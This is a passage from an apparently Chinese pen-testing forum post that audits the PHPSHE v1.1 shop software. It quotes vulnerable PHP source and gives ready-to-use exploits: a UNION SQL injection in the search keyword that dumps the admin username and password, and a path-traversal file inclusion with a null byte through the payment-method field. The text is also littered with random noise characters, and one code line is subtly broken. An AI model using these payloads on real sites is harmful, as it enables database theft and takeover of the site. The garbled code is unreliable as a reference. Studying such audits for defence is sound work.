2 s: s( u9 I7 q/ ]8 ~* d: u1 ?( I
0×02 搜索注入$ c& D4 M' h2 n. T
9 K' b& y& r# O& Z2 r! F6 r1 l
<code id="code2">
//product.php文件0 I- E8 P# ], Y# C
case 'list':
$category_id = intval($id);9 i" j) @/ r) d5 F7 [4 J
$info = $db->pe_select('category', array('category_id'=>$category_id));, }6 S* G/ A) f3 t1 f/ t6 k: u
//搜索 n- _9 o% U1 d7 b
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤* L; q8 Z5 v% @
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";0 b. s) l9 u2 H' O
}
else {
$sqlwhere .= " order by `product_id` desc";
}3 y" r/ U7 K' p8 l+ b: h1 p
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);. g( [1 l: ~9 Z* c- \) `' R
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句- I4 E3 n" }+ e- L
$sqlwhere = $this->_dowhere($where);% z, c. W5 V& [
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);% `% G8 H5 n" Q3 M, D+ Z
}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1* n7 V7 Z* ?! k8 {! e8 T/ h0 B
</code>
0×03 包含漏洞2) G9 @" a- [# h N7 |
/ M/ E# ?! Y% t( k" R8 Z V9 [/ z% f8 p
<code id="code3">
//order.php
case 'pay':
: z% h. D: T% n: \
$order_id = pe_dbhold($_g_id);
$cache_payway = cache::get('payway');
3 n* O7 K8 t) d( G" U8 q
foreach($cache_payway as $k => $v) {
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);
g T7 y" q: L# }/ c
if ($k == 'bank') {
0 A9 p) i2 i) M
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);
. n7 M4 ~" L) i
}
}
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));
!$order['order_id'] && pe_error('订单号错误...');
) y b4 X0 |. c: q; Q
if (isset($_p_pesubmit)) {
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {
' W% b0 g* `7 I0 @/ O0 F9 V
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));
7 E, a' J0 }; f& q: U
foreach ($info_list as $v) {
$order['order_name'] .= "{$v['product_name']};";' O* [* k7 Q6 o
6 L2 ]$ D) V4 P) H; c; d
}
4 n/ M. Y9 x) O, X" m. N9 p
echo '正在为您连接支付网站,请稍后...';
$ D; ~" {6 o0 I' M3 U
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");
}//当一切准备好的时候就可以进行"鸡肋包含了"
else {
% L K6 t1 ^5 u! H2 b% n
pe_error('支付错误...');
( J( u5 ?* q" ]- V/ L( s
}
i8 G- k8 D" D D6 \( r
}
$seo = pe_seo('选择支付方式');
include(pe_tpl('order_pay.html'));
break;
}
//exp:
//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001
//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
| 欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) | Powered by Discuz! X3.2 |